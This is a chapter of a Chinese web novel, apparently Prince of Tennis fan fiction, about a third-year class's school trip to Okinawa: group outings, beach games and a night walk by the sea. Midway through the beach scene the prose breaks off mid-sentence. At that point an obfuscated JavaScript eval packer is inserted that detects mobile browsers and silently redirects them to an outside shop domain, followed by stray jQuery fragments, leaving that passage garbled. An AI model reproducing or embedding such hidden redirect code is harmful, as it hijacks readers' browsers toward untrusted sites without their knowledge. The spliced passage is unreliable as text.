文趣网 > 都市小说 > [网王/忍足]落点未定 > 59. 修学旅行
    开学第二天,三年级的分班表才被贴在教学楼门厅。

    纸面前已经围了三层人。刚换好的室内鞋散在鞋柜旁,有人单脚站着找名字,还有人隔着人群替朋友高声报班级,声音从门厅一直传到外面的樱花树下。

    小町来得稍晚,站在台阶上看了一会儿,正准备挤进去,藤崎已经从人群中央转过身。

    她新染的茶棕色长发在人群中很显眼,一只手仍压着分班表,另一只手越过几个人向小町招了招。

    “三年A组!”

    “谁?”

    “我们四个。”

    藤崎说完,又把手指沿名单往下滑了一段,嘴角随即扬起来。

    “还有两位熟人。”

    小町穿过人群,在三年A组的名单上找到了自己的名字。

    千岛小町。

    藤崎真帆、水野绘里、佐仓奈奈都在附近。再往下,是忍足侑士与向日岳人。

    向日刚好从另一边钻出来,头发被挤得乱了一半。他站在公告栏前确认两遍,忽然长长地叹了口气。

    “完了。”

    藤崎回头:“哪里完了?”

    “新年抽到的大吉,用在这种地方了。”

    “和我们同班有那么糟糕吗?”

    “不是糟糕。”向日指着名单,“可大吉一年只有一张吧?我还准备留到比赛。”

    水野换好室内鞋,闻言看了他一眼。

    “运气还可以分期使用?”

    “当然可以。”

    “神社的人没告诉你。”

    “这种事要自己领会。”

    忍足站在人群外,听到这里才走过来。他今天换了一副颜色更浅的镜框,细窄的银边与校服很相称。

    “可能是神明觉得你领会错了。”

    “那也不能直接扣完吧。”

    向日仍然无法接受自己的大吉被一张分班表消耗。

    小町最后看了一眼名单。

    忍足从她身边经过时,很轻地碰了一下她的手背。

    “第三年也请多关照,小町。”

    周围全是正在换鞋和找教室的人,他把声音放得很低,神情却完全没有避讳的意思。

    小町握住他的手指,又松开。

    “侑士君的大吉也用在这里了?”

    “可能是命运。”

    向日在楼梯下催他们快一点。忍足笑着应了一声,与小町一起走进教学楼。

    三年A组在走廊尽头,窗外正对着校园西侧的樱花。风一吹,花瓣便越过半开的窗,落在新发下来的课本封面上。旧班级的人占了大半,剩下的座位很快也有了主人。

    五月末,高桥老师发下修学旅行手册。

    手册封面印着航班、日期和一片蓝得近乎失真的海。藤崎从第一页翻到最后,先看见房间分配,再看见分组自由活动,当即从笔袋里抽出荧光笔。

    “等一下。”水野按住她,“老师还没说怎么分组。”

    高桥老师在讲台上敲了敲签筒。

    “六人一组,先抽签。抽完以后允许交换,十分钟内确定。旅行委员负责登记,过时不候。”

    教室里立刻响起椅脚移动的声音。

    小町抽到三组,藤崎是七组,水野和佐仓隔得更远。向日看着自己手里的五,已经准备去找人交换,忍足却坐在座位上,慢悠悠地将纸签翻到背面。

    “你几组?”小町问。

    “四。”

    “差一个。”

    忍足将纸签递给隔壁桌的男生。对方原本想和朋友换到四组,看到小町的号码以后,很干脆地把三组给了他。

    不到五分钟,六张写着“三”的纸签便凑到一起。

    向日盯着桌面。

    “我们是不是可以省略抽签?”

    “人定胜天啊。”

    讲台上的高桥老师抬起眼。

    向日立刻把纸签交给旅行委员。

    六月初,东京仍在梅雨里。

    出发那天,羽田机场外下着细雨,巴士玻璃上满是没有擦净的水痕。班里的人天还没亮便开始集合,到登机口时却已经恢复精神,旅行手册在人群里传来传去,最后总会有人询问今天究竟穿制服还是私服。

    第一天需要统一行动,所有人都穿着夏季校服。

    小町坐在靠窗的位置。飞机穿过雨云以后,阳光突然落进机舱,窗外只剩一整片耀眼的白。邻座的藤崎戴着眼罩睡了不到二十分钟,听见有人说看见海,立刻醒了。

    她拉起遮光板。

    冲绳的海从机翼下方出现,颜色由浅到深,岛屿边缘浮着一圈薄薄的白浪。前后几排同时有人探身看,空乘刚提醒大家坐好,向日便隔着过道拍了拍忍足的肩。

    “换位置。”

    忍足戴着耳机,偏头看他。

    “为什么?”

    “你那边能看到岛。”

    “另一边也能看到。”

    “这里只有海。”

    忍足看了看窗外。

    “我们来冲绳,看到海很正常。”

    向日显然无法接受这种解释。小町隔着过道笑了一会儿,最后把自己拍下来的照片发给他。

    飞机降落时,雨已经停了。

    舱门打开,潮湿的热气沿廊桥迎面涌来。东京的梅雨被留在云层另一边,眼前的天蓝得很高,机场外的棕榈叶在风里翻动,白色路面被阳光照得刺眼。

    第一天的行程由学校统一安排。

    旅行巴士沿着海岸公路向北,车厢里起初还有人跟着导游看窗外,四十分钟以后便陆续睡倒。向日抱着靠枕歪在忍足肩上,忍足将他的头推开两次,第三次终于放弃,低头继续看书。

    小町隔着过道看了片刻,拿出手机拍了一张。

    忍足从书页上方抬眼。

    “偷拍?”

    “风景照。”

    “岳人也算风景?”

    “怎么不算呢。”

    向日睡得毫无知觉。小町把照片发进六人小群,几秒以后,忍足低头按亮手机,将自己靠近车窗的肩膀往旁边挪了一点。

    向日的头随即落空。

    他猛地惊醒,茫然地看着四周。车里响起一阵压低的笑声,连前排的藤崎都回过头来。

    “你们干什么?”

    忍足重新翻过一页。

    “欢迎来到冲绳。”

    当天晚上,旅行委员在酒店大堂点完名,房间钥匙按名单发到每组手里。女生们回房以后轮流洗澡,行李箱摊开在墙边,白天买来的零食很快堆满小桌。

    藤崎洗完头,从浴室出来便开始检查第二天的衣服。

    她为这次旅行带了两只卷发棒,化妆包占去小半个行李箱。水野看着她从夹层里拿出第三盘眼影,终于问了一句:

    “化一个星期都不重样吧?”

    “每个地方光线不一样好吧。”

    佐仓靠在窗边看旅行手册,听见这里,抬头补充:“明天八点二十集合。”

    藤崎看了一眼时间,决定现在就睡。

    这个决定维持了十分钟。隔壁房间的女生拿着面膜过来串门,藤崎立刻重新坐起,房间里很快多出两只抱枕和一袋便利店冰淇淋。第二天早晨六点,佐仓最先被三只闹钟同时叫醒。

    窗帘外已经很亮。梅雨间晴的光从缝隙照进来,在地毯上留下一道窄窄的白线。房间安静了几秒,随后大家都陆续挣扎着坐起来。

    水野换好衣服以后,站在镜子前扎头发。她穿深蓝色运动短上衣,袖侧压着白色条纹,下面配浅灰色尼龙长裤,脚边放着一双银色运动鞋。整套衣服利落得很,等藤崎还在选择发夹时,她已经替两个人收好了充电器。

    佐仓穿米白棉布衬衫与烟蓝色长裙,柔软的棕色皮包放在膝边。她化妆很快,只擦了隔离和防晒,在唇上添了些颜色。

    藤崎的准备时间最长。

    她选了黑色短款上衣与做旧牛仔短裙,外面罩一件宽松薄衬衫。昨晚卷好的长发需要重新整理,睫毛膏刚涂到一半,她便转身抓住经过的小町。

    “坐下。”

    “我已经好了。”

    “头发没有。”藤崎将她按到椅子上。

    小町今天穿淡蓝色无袖针织上衣,象牙白阔腿裤的裤脚刚好落到凉鞋上方,肩上的小包颜色很浅。

    藤崎替她重新卷了两束头发,再用玳瑁色发夹挽起一半。

    并非所有人都化妆。几个女生只涂了防晒,坐在床沿看她们忙,等得无聊便开始替今天的发型打分。

    向日靠在沙发旁,听见脚步声便抬起头,原本准备抱怨她们太慢,话到了嘴边却停住。他的目光从藤崎看到水野,又落到佐仓身上,最后转向忍足。

    “你说。”

    “为什么是我?”

    “你平时话多。”

    忍足没有理他。

    他今天穿烟灰色针织开领衫,下面是米白长裤。没有校服领带挡着,整个人显得比平时松散许多。

    “能让岳人说不出话来,效果已经不言而喻了好吧。”

    分组自由活动安排在北谷。

    巴士将他们送到入口后便离开,旅行委员提醒下午集合的位置,各组随即沿不同方向散开。海风从建筑之间吹过来,路边商店的遮阳棚被掀起一角,招牌上的英文字母在阳光下显得格外鲜艳。

    六个人沿街向海边走。

    藤崎负责路线,水野负责阻止她临时增加太多店铺。佐仓走在后面拍街边的窗户和屋檐,向日每经过一家卖冰淇淋的店都要停一次,最后忍足将旅行手册卷起来,轻轻敲在他肩上。

    “先去海边。”

    “回来就卖完了呢?”

    向日还是买了一支。几个人走到海边时,冰淇淋已经沿着蛋筒流到他手背,水野递给他纸巾,他却先回头控诉刚才催他走得太快的人。

    随队摄影师正在街角拍其他小组,看见他们后抬了抬手。

    “你们沿刚才那条路再走一次。”

    藤崎立即整理头发。

    “要看镜头吗?”

    “看到相机以后再看。”

    六个人重新退回路口。

    摄影师没有让他们排队,只蹲在斑马线另一侧,示意他们照常向前走。信号灯变绿,藤崎挽住水野的手臂,佐仓被她从后面一起带过来。向日捧着那支已经摇摇欲坠的冰淇淋,走得比谁都谨慎。

    小町与忍足落在后面半步。

    相机举起时,几个人很快看向镜头。藤崎抬手比出一个漂亮的手势,水野的帽檐被海风吹得向后翻,佐仓扶着皮包肩带,脸上的笑意很浅。向日顾着保护冰淇淋,只来得及抬起一只手。

    小町刚要靠近中间,手腕便被忍足碰了一下。

    她顺势牵住他。

    快门连续响了几次。

    摄影师低头检查照片,忍足仍握着她的手。小町看了一眼两个人之间,正好被藤崎发现。

    “现在可以放了。”

    忍足偏过脸。

    “摄影师还没说结束。”

    “他已经在拍下一组了拜托。”

    小町将手抽出来,转身去看照片。忍足停了片刻,才跟过去。

    第一张里,六个人刚从路口走来,身后的彩色楼房被阳光照得明亮。第二张拍到了藤崎回头催佐仓的瞬间。最后一张最完整,每个人都看着镜头,姿势也很漂亮,向日手里的冰淇淋却在快门落下时塌了一半。

    “删掉。”向日说。

    藤崎已经把照片保存下来。

    “这是今天最好的一张。”

    “哪里好?”

    “大家都很好。”

    “那团冰淇淋已经死了。”

    “死得其所嘛。”

    向日追着她要手机。藤崎踩着厚底凉鞋跑得并不快,很快躲到水野身后。水野两边都不准备帮,只举起刚买的汽水,防止她们撞上来。

    午后,街上的西晒越来越强。

    他们在海边店里吃过午饭,转进一条稍窄的街道。低矮建筑外墙被涂成白色,阳光从路面反上来,连人的影子都显得浓。佐仓在一家旧书与杂货混在一起的小店停了很久,藤崎则看中了隔壁橱窗里的太阳镜。

    向日试戴一副红色镜框,转头询问其他人的意见。

    水野说:“很醒目。”

    “适合我?”

    “找人的时候方便。”

    向日将眼镜摘下来。

    忍足伸手拿起旁边一副没有度数的细框眼镜,随意戴上。小町看了一会儿,摇头。

    “这一副不好看。”

    小町从架子上换了一副深色窄框递给他。

    忍足戴上以后照了照镜子。

    “这一副呢?”

    “可以。”

    “那买了。”

    “这么快?”

    “相信你的眼光。”

    他说着已经拿起镜盒。小町看了他几秒,从旁边取下一副浅茶色太阳镜戴上,转头问他。

    “这一副呢?”

    忍足没有立即回答。

    “很难评价?”

    “在想要不要买同款。”

    小町自己照了照镜子,最终将太阳镜放回原处。

    “那就不买了。”

    “为什么?”

    “免得你学我。”

    忍足低头笑了一声,拿着自己的新眼镜去结账。

    下午集合以前,他们在白色护栏旁拍了最后一张小组合照。

    这次由路过的游客帮忙。六个人认真站好位置,向日终于没有拿着食物,佐仓也从边缘被藤崎拉到中间。小町与忍足站在最后一排,一起望向镜头。

    照片拍得很好。

    归还手机时,那名游客顺口说了一句:“青春真好啊。”

    第三天上午是海洋活动。

    房间分配表旁边提前贴出了服装要求:泳衣穿在里面,外面套防晒衣与速干短裤,长发扎好,首饰全部取下。

    浮潜结束以后,先是向日和水野在浅水区争论谁游得更快,藤崎站在岸边替他们计时,却被突然泼来的水弄湿半边衣服。她甚至没有确认是谁动的手,转身便拎起旁边的小水桶。

    第一桶水准确落在向日背上。

    向日回过头,看见藤崎已经跑远,立刻追了过去。水野本想退出,跑到半途却发现小町正在笑,便用脚把一大片海水踢向她。

    水花从裙摆一路溅到腰间。

    小町站在原地,看了一眼刚刚整理过的头发,又看了一眼明显准备逃跑的水野。

    “你完了。”

    她扔下凉鞋便追进水里。

    之后的事情很快失去界限。

    藤崎在逃跑途中与小町临时结盟,两个人一前一后堵住向日,向日又抓住路过的忍足挡水,忍足原本只想把人从自己身后拉出来,下一秒便被小町迎面泼了一捧海水。

    镜片上全是水。

    忍足摘下眼镜,站在阳光下看她。

    小町仍在笑,发梢和衣角都湿了,卷的头发已经散开大半。她向后退了一步,显然意识到事情还没结束。

    “侑士君,你要考虑清楚。”

    忍足把眼镜交给站在岸边的佐仓。

    “晚了。”

    他抬脚踢起一片更大的水。

    小町尖叫一声,转身便跑。水面没过小腿,根本跑不快,忍足几步便追上来,她索性抓住他的手臂,把两个人一起拖进迎面扑来的浪里。

    海水浸透衣服时,她反而彻底不在乎了。

    岸边已经围了一圈看热闹的同学。

    高桥老师从远处经过,确认他们都在划定的安全水域以后,只把卷起的行程表放到额前遮太阳。

    海上结束后,沙滩上开始准备分组游戏。

    木棒、西瓜和黑色眼罩刚刚拿出来,沙滩上便围起一圈人。向日第一个上场,被转了几圈以后彻底分不清方向,周围的指令又互相矛盾,最后一路走向海水,挥出的木棒距离西瓜足有十几米。

    小町笑得最大声,很快便被推了出去。

    眼罩落下以后,她只能看见一片透着日光的黑。按照规则,每个人只能听自己组员的指挥,实际开始以后,至少十几种声音同时从不同方向传来。

    藤崎一直喊左边,水野让她向前,向日则故意压低声音,试图模仿忍足的关西口音。

    “再往右一点。”

    小町握着木棒停下来。

    “向日君。”

    “干什么?”

    “模仿得很差。”

    周围爆发出一阵笑声。向日意识到自己暴露,转身便要逃,小町却已经循着声音追过去。她蒙着眼在沙滩上跑得毫无顾忌,木棒在手里挥得呼呼作响,围观的人一边尖叫一边让开,原本的西瓜游戏顷刻间变成了躲避千岛。

    “西瓜不在那里!”藤崎笑得说不完整。

    “我知道。”

    “那你追什么?”

    “先让你们闭嘴。”

    向日跑得最快,忍足却因为还替她拿着发夹,没能及时离开。小町听见他在不远处笑,立刻转了方向。

    木棒挥过去以前,忍足扣住她的手腕。

    “抓到人了。”他说。

    “谁抓到谁?”

    小町另一只手循着他的肩膀向上,准确在他脸侧抹下一道湿沙。周围的起哄声立刻更大,忍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842550|211672||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    足只好替她解下眼罩。

    重新看见日光以后,小町没有半点收敛,抬起木棒又追了他几步。直到老师提醒游戏还没结束,她才终于回到原来的位置。

    这一棒没有正中,却将西瓜敲出一道明显裂痕。

    最后劈开它的是水野。她拒绝理会所有人的指挥,只凭转圈前记住的位置向前,木棒落下时,西瓜沿着原本的裂纹彻底分开。欢呼声响起的瞬间,小町和藤崎一起扑过去抱住她,三个人险些在沙地上滚成一团。

    午饭在海之家解决。

    塑料帘被海风吹得不停晃动,刨冰机在柜台后发出沉闷的转动声。刚结束活动的学生占满长桌,湿衣服贴着椅背,脚边堆着涉水鞋与装毛巾的袋子。

    小町点了柠檬刨冰,端回来以后才发现藤崎那一碗颜色蓝得惊人。

    “这是什么味道?”

    藤崎尝了一口。

    “海的味道。”

    水野抬头看了眼几步外的海。

    “那应该是咸的。”

    藤崎又吃了一口,仍然没能回答。她干脆将碗推到小町面前,让她自己尝。

    忍足坐在对面,眼镜已经重新戴好,镜片边缘还留着细小的水点。他低头吃刨冰时,一缕湿发垂在额前,看上去比平日少了几分整齐。

    小町朝他勾了勾手。

    “过来。”

    忍足稍微靠近。小町用纸巾擦掉他镜片上的水痕,刚擦到一半,旁边的向日端起自己的碗,换到了长桌另一端。

    藤崎看着他。

    “你去哪里?”

    “这里突然好热。怎么回事。”

    忍足把眼镜重新扶好,连反驳都省了。

    活动结束,全班被叫到堤岸前拍集合照。

    前排蹲下,后排沿台阶站开。大家的头发已经被海风吹乱,脚踝和小腿上还沾着没有冲净的细沙。藤崎占到第二排正中,转身把水野和佐仓都拉过来;向日嫌前面的人太高,换了两次位置,最后站到忍足身后。

    摄影师举起相机。

    “再靠近一点,后排不要留空。”

    队伍随即向中间挤。

    小町被藤崎从前面拉了一下,忍足也从后排俯下身。她担心自己的头发被压到,抬手握住他的手腕,将那只手挪到肩侧。

    摄影师开始倒数。

    “三、二——”

    快门落下。

    晚上点名前,高桥老师允许他们在酒店前方的海滩活动一小时。

    天空完全暗下来以后,白天被晒得发亮的海安静了许多。海之家已经收摊,只留下屋檐下两盏灯。班里的学生散在防波堤附近,有人坐着聊天,还有几个人从便利店买来仙女棒,蹲在背风处研究怎样点燃。

    小町收到忍足的消息时,正在房间里替藤崎找掉进床下的耳环。

    【下来吗?】

    她看了一眼时间。

    【十分钟。】

    耳环最后卡在行李箱轮子旁边。小町交还以后,随手披上一件薄外套,穿着凉鞋下楼。

    忍足站在自动贩卖机边,手里拿着两罐饮料。

    他递来一罐热柠檬茶。

    小町摸到罐身,抬头看了眼六月的冲绳。

    “你是故意的吗?”

    “下面那一排只剩这个。”

    忍足自己喝了一口,似乎也觉得温度十分可疑。

    “现在退货还来得及?”

    小町已经捂进掌心。

    “来不及了。”

    他们沿着海滩往前走。

    远处的人正在点仙女棒,微弱的火光被风吹得向一侧倾斜。藤崎的声音断断续续传过来,似乎在要求所有人按照她说的位置站好。潮声盖住一半,剩下的听不清楚。

    傍晚停过一阵风,海面一直很平。此刻潮水重新推上来,泡沫沿着沙滩留下一条白边,很快又退下去。

    小町踩进浅水。

    凉鞋里的细沙一下子松开,脚底向下陷了半寸。

    “再往前会湿。”忍足说。

    “已经湿了。”

    她抬起脚给他看鞋面。

    下一阵浪恰好在这时涌上来,水直接漫过她的小腿。小町叫了一声,抓住忍足的手臂向后退,忍足也没来得及站稳,两个人撞在一起,又被紧接着的浪打湿了膝盖。

    小町看着他,先笑出声。

    “你还笑?”

    “你现在很狼狈。”

    “谁刚才非要往前走?”

    “你没有拉住我。”

    潮水再次推近。

    两个人同时转身向岸上跑。湿透的凉鞋踩在软沙里,根本使不上力,小町跑出几步便陷了进去,忍足回头拉她,结果被带得向后踉跄。

    浪从后面追上来。

    冰凉的水打到腿上,小町尖叫着跳了一下,仍然没能躲开。忍足一只手高高举着眼镜,另一只手扣住她,刚跑出水面,又被她拖得踩回浪里。

    两个人在海水里笑得停不下来。

    小町的头发被风吹到脸上,脚下又在不断下陷。忍足伸手替她拨开,下一阵浪涌来时,她索性抓住他的肩膀,整个人躲到他身前。

    “这样没用。”忍足说。

    “至少先淋到你。”

    “很有道理。”

    他嘴上这样回答,却抬手护住她的后脑,将她往怀里按了一点。潮水从两个人脚边分开,退下去时发出细密的沙响。

    远处忽然传来藤崎的声音。

    “小町——你们在哪儿?”

    小町从忍足肩前抬起脸,朝亮灯的方向应了一声。

    藤崎循声跑来,水野和向日跟在后面。几个人走近以后,看见他们湿透的裤脚,同时停住。

    向日最先笑出来。

    “你们游回来的?”

    “涨潮。”忍足说。

    藤崎朝海面看了一眼。

    “它只涨你们站的那一块?”

    高桥老师听说以后,让他们立刻回酒店换衣服。

    从海滩走回去的路上,藤崎一直追问他们究竟站到哪里才会湿成这样。小町起初还回答,后来发现每个答案都会让她产生新的问题,索性拉住忍足加快脚步,把其他人甩在后面。

    向日不肯放过他们,追上来时踩到水洼,自己也湿了半只鞋。

    这次轮到小町与藤崎一起笑他。

    回到房间时,离点名只剩十五分钟。

    小町换下湿衣服,套上酒店准备的浴衣。头发来不及完全吹干,只能搭着毛巾坐在床边。藤崎敷着面膜,盘腿坐在另一张床上,将刚才那场涨潮重新讲了一遍。

    事到如今,故事里却已经出现小町险些被浪卷走、忍足独自下海救人等情节。

    水野坐在地毯上整理明天的行李,听到这里终于抬起头。

    “那个位置的水只到膝盖。”

    藤崎隔着面膜看她。

    “文学加工。”

    佐仓合上旅行手册。

    “加工以后比较像海难。”

    “青春期的海难嘛哈哈哈哈哈。”

    小町拿起枕头扔过去。

    返程那天,巴士驶离酒店时,班里安静了许多。

    行李架被购物袋塞满,遮光帘只拉到一半。前排有人在补觉,后面仍在交换照片。旅行手册卷起后塞进座椅口袋,封面已经被海水和饮料弄得微微发皱。

    藤崎坐在小町旁边,将这几天的照片上传到共享相册。

    街道、海滩、海之家。

    她把所有集合照都放进去,又在相册名称一栏输入:

    【三年A组·冲绳第一回】

    向日从后排探身看见。

    “下一次去北海道。”

    水野正在翻自己的照片,头也没抬。

    “冬天行李太多。”

    “那夏天去。”

    藤崎立刻打开备忘录。

    “北海道一票。还有人想去京都吗?”

    “京都什么时候都能去。”向日反对。

    “所以才方便。”

    巴士开上通往机场的公路。

    小町靠着车窗睡着以后,遮光帘随着车身轻轻晃动。忍足从座位间伸过手,将落到她脸上的那一角重新拉好。

    藤崎还在备忘录里修改目的地。

    共享相册的名字最终也没有改。

    后来他们去过北海道,也有人去了京都。几个人也常常见面。班级群安静一阵又会因为谁的生日重新热闹起来。

    那本相册却始终停留在“第一回”。

    十七岁的人说起下一次,总觉得和说明天见差不多。

    回忆这个词对他们来说,或许还太年轻。